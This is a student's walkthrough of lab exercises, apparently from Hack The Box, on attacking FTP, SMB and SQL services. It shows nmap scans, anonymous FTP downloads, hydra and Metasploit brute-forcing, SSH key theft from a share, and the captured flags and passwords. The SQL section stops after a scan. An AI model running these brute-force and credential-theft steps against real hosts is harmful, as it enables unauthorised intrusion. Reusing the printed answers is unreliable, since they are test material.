FTP

Question: What port is the FTP service running on?

Answer: 2121

I proced to use nmap to analyze all the open ports of the target

```
┌[us-dedicated-128-dhcp]-[10.10.14.17]-[monosalgado123@htb-wrdc0kci56]-[~]
└──╼ [★]$ nmap 10.129.203.6 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 08:15 CST
Nmap scan report for 10.129.203.6
Host is up (0.0094s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2121/tcp open  ccproxy-ftp
```

Question: What username is available for the FTP server?

With an Nmap analysis using -A –p 2121 -T5 we learned that it contained the user anonymous so we could enter with that user to the ftp:

```
Parrot Terminal
File  Edit  View  Search  Terminal  Help
┌[us-dedicated-128-dhcp]-[10.10.14.17]-[monosalgado123@htb-tx1cnh87ba]-[~]
└──╼ [★]$ nmap -A -p 2121 10.129.162.215 -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-20 09:24 CST
Nmap scan report for 10.129.162.215
Host is up (0.0086s latency).

PORT     STATE SERVICE VERSION
2121/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp      ftp          1959 Apr 19  2022 passwords.list
|_-rw-rw-r--   1 ftp      ftp            72 Apr 19  2022 users.list
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (InlaneFTP) [10.129.162.215]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
```

```
┌─[us-dedicated-128-dhcp]─[10.10.14.17]─[monosalgado123@htb-zhbwk7rzih]─[~]
└──╼ [★]$ ftp 10.129.185.146 2121
Connected to 10.129.185.146.
220 ProFTPD Server (InlaneFTP) [10.129.185.146]
Name (10.129.185.146:root): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

With ls, I learned that there are 2 files in the server, passwords and users. Using the get command I got them in my VM:

```
ftp> ls
229 Entering Extended Passive Mode (|||18041|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 ftp      ftp          1959 Apr 19  2022 passwords.list
-rw-rw-r--   1 ftp      ftp            72 Apr 19  2022 users.list
226 Transfer complete
ftp> get users.list
local: users.list remote: users.list
229 Entering Extended Passive Mode (|||33901|)
150 Opening BINARY mode data connection for users.list (72 bytes)
    72       45.77 KiB/s
226 Transfer complete
72 bytes received in 00:00 (1.03 KiB/s)
ftp> get passwords.list
local: passwords.list remote: passwords.list
229 Entering Extended Passive Mode (|||4563|)
150 Opening BINARY mode data connection for passwords.list (1959 bytes)
  1959        1.23 MiB/s
226 Transfer complete
1959 bytes received in 00:00 (28.06 KiB/s)
ftp>
```

```
└─[★]$ cat users.list
root
robin
adm
admin
administrator
MARRY
jason
sa
dbuser
pentest
marlin
```

There is a robin user on the ftp server.

Question: Use the discovered username with its password to login via SSH and obtain the flag.txt file. Submit the contents as your answer.

Answer: HTB{ATT4CK1NG_F7P_53RV1C3}

Use hydra to get robin and the password:

```
┌─[us-dedicated-128-dhcp]─[10.10.14.17]─[monosalgado123@htb-tx1cnh87ba]─[~]
└─[★]$ hydra -L users.list -P passwords.list ftp://10.129.162.215:2121 -t 48
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-20 09:30:
28
[DATA] max 48 tasks per 1 server, overall 48 tasks, 2750 login tries (l:11/p:250
), ~58 tries per task
[DATA] attacking ftp://10.129.162.215:2121/
[2121][ftp] host: 10.129.162.215   login: robin   password: 7iz4rnckjsduza7
```

So our password is 7iz4rnckjsduza7

Using robin and the password we enter SSH:

```
┌─[us-dedicated-128-dhcp]─[10.10.14.17]─[monosalgado123@htb-tx1cnh87ba]─[~]
└──╼ [★]$ ssh robin@10.129.162.215
The authenticity of host '10.129.162.215 (10.129.162.215)' can't be established.
ED25519 key fingerprint is SHA256:HfXWue9Dnk+UvRXP6ytrRnXKIRSijm058/zFrj/1LvY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.162.215' (ED25519) to the list of known hosts
.
robin@10.129.162.215's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)
```

Now that we enter the user, we do ls and find the flag:

```
$ ls
flag.txt
$ cat flag.txt
HTB{ATT4CK1NG_F7P_53RV1C3}
```

Attacking SMB:

Cheat sheet rpcclient: https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf

Enum4linux link download: https://github.com/cddmp/enum4linux-ng

Question: What is the name of the shared folder with READ permissions?

Answer: GGJ

Using smbmap I could observe the files and permissions:

```
┌─[us-dedicated-128-dhcp]─[10.10.14.17]─[monosalgado123@htb-tx1cnh87ba]─[~]
└──╼ [★]$ smbmap -H 10.129.162.218
[+] IP: 10.129.162.218:445      Name: 10.129.162.218
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        GGJ                                                     READ ONLY       Priv
        IPC$                                                    NO ACCESS       IPC Service (at
tcsvc-linux Samba)
```

Question: What is the password for the username "jason"?

Answer: 34c8zuNBo91!@28Bszh

Using metasploit (command: msfconsole) we got the password:

```
Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> use auxiliary/scanner/smb/smb_login
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_login) >> set SMBUser jason
SMBUser => jason
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_login) >> set pass_file pws.list
pass_file => pws.list
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_login) >> set rhosts 10.129.162.218
rhosts => 10.129.162.218
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_login) >> set VERBOSE false
VERBOSE => false
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_login) >> set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_login) >> run

[+] 10.129.162.218:445    - 10.129.162.218:445 - Success: '.\jason:34c8zuNBo91!@28Bszh'
[*] 10.129.162.218:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Question: Login as the user "jason" via SSH and find the flag.txt file. Submit the contents as your answer.

Answer:

When trying to do ssh, it says that it is denied. It requires a key.

```
┌─[us-dedicated-128-dhcp]─[10.10.14.17]─[monosalgado123@htb-tx1cnh87ba]─[~]
└──╼ [★]$ ssh jason@10.129.162.218
The authenticity of host '10.129.162.218 (10.129.162.218)' can't be established.
ED25519 key fingerprint is SHA256:HfXWue9Dnk+UvRXP6ytrRnXKIRSijm058/zFrj/1LvY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.162.218' (ED25519) to the list of known hosts.
jason@10.129.162.218: Permission denied (publickey).
```

However, when analyzing the smbmap, inside GGJ we found a file called id_rsa:

```
┌─[us-dedicated-128-dhcp]─[10.10.14.17]─[monosalgado123@htb-tx1cnh87ba]─[~]
└──╼ [★]$ smbmap -H 10.129.162.218 -r GGJ
[+] IP: 10.129.162.218:445      Name: 10.129.162.218
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        GGJ                                                     READ ONLY
        .\GGJ\*
        dr--r--r--                0 Tue Apr 19 16:33:55 2022    .
        dr--r--r--                0 Mon Apr 18 12:08:30 2022    ..
        fr--r--r--             3381 Tue Apr 19 16:33:03 2022    id_rsa
```

Now that I have jason password I can enter the server and download the file:

```
┌[us-dedicated-128-dhcp]-[10.10.14.17]-[monosalgado123@htb-tx1cnh87ba]-[~]
└─[★]$ smbclient //10.129.162.218/GGJ -U jason -c 'get id_rsa id_rsa'
Password for [WORKGROUP\jason]:
getting file \id_rsa of size 3381 as id_rsa (94.3 KiloBytes/sec) (average 94.3 KiloBytes/sec)
```

The file needs to receive permission so it can only be read. Then, with the id now I could enter the ssh into jason account:

```
┌[us-dedicated-128-dhcp]-[10.10.14.17]-[monosalgado123@htb-tx1cnh87ba]-[~]
└─[★]$ chmod 600 id_rsa
┌[us-dedicated-128-dhcp]-[10.10.14.17]-[monosalgado123@htb-tx1cnh87ba]-[~]
└─[★]$ ssh -i id_rsa jason@10.129.162.218
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)
```

Then just ls and find the flag:

```
$ ls
flag.txt
$ cat flag.txt
HTB{SMB_4TT4CKS_2349872359}
```

Attacking SQL Databases:

Question: What is the password for the "mssqlsvc" user?

Answer:

As we analyze the ports (using nmap -Pn -sV -sC -p- 10.129.203.12 -T5)

we can see that ms sql is running on port 1433:

```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-02-21T14:06:05+00:00; +1s from scanner time.
| ms-sql-ntlm-info:
|   10.129.203.12:1433:
|     Target_Name: WIN-02
|     NetBIOS_Domain_Name: WIN-02
|     NetBIOS_Computer_Name: WIN-02
|     DNS_Domain_Name: WIN-02
|     DNS_Computer_Name: WIN-02
|_    Product_Version: 10.0.17763
```